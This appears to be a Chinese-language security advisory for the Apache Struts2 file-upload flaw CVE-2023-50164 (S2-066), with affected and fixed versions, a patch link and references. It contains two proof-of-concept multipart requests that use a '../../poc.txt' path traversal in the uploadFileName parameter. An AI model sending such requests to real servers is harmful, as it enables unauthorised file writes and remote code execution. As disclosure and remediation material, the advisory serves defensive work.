漏洞描述：

Apache Struts2是一个用于开发Java EE网络应用程序的开放源代码网页应用程序架构。它利用并延伸了Java Servlet API，鼓励开发者采用MVC架构。Apache 发布了安全告警，Struts 2 开源Web应用程序框架中存在严重安全缺陷，该缺陷可导致远程代码执行。该漏洞编号为CVE-2023-50164，根源于有缺陷的“文件上传逻辑”，可能导致未经授权的路径遍历，并在被利用的上传恶意文件并实现任意代码的执行。

漏洞影响：

2.5.0 <= Struts <= 2.5.32

6.0.0 <= Struts <= 6.3.0

 

漏洞证明：

POC一：
——WebKitFormBoundary5WJ61X4PRwyYKlip
Content-Disposition: form-data; name=”Upload”; filename=”poc.txt”
Content-Type: text/plain

test

——WebKitFormBoundary5WJ61X4PRwyYKlip
Content-Disposition: form-data; name=”uploadFileName”;

../../poc.txt

——WebKitFormBoundary5WJ61X4PRwyYKlip–

POC二：

POST /s2_066_war_exploded/upload.action?uploadFileName=../../poc.txt HTTP/1.1
Host: localhost:8080
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=—-WebKitFormBoundary5WJ61X4PRwyYKlip
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Length: 593

——WebKitFormBoundary5WJ61X4PRwyYKlip
Content-Disposition: form-data; name=”Upload”; filename=”poc.txt”
Content-Type: text/plain

test

——WebKitFormBoundary5WJ61X4PRwyYKlip–

漏洞修复：

官方已有可更新版本，建议用户尽快更新到安全版本：

Struts >= 2.5.33

Struts >= 6.3.0.2

补丁：https://github.com/apache/struts/commit/4c044f12560e22e00520595412830f9582d6dac7

参考：

https://cwiki.apache.org/confluence/display/WW/S2-066

https://github.com/apache/struts/compare/STRUTS_6_3_0…STRUTS_6_3_0_2#files_bucket

https://github.com/apache/struts/commit/4c044f12560e22e00520595412830f9582d6dac7

https://trganda.github.io/notes/security/vulnerabilities/apache-struts/Apache-Struts-Remote-Code-Execution-Vulnerability-(-S2-066-CVE-2023-50164)
https://y4tacker.github.io/2023/12/09/year/2023/12/Apache-Struts2-文件上传分析-S2-066/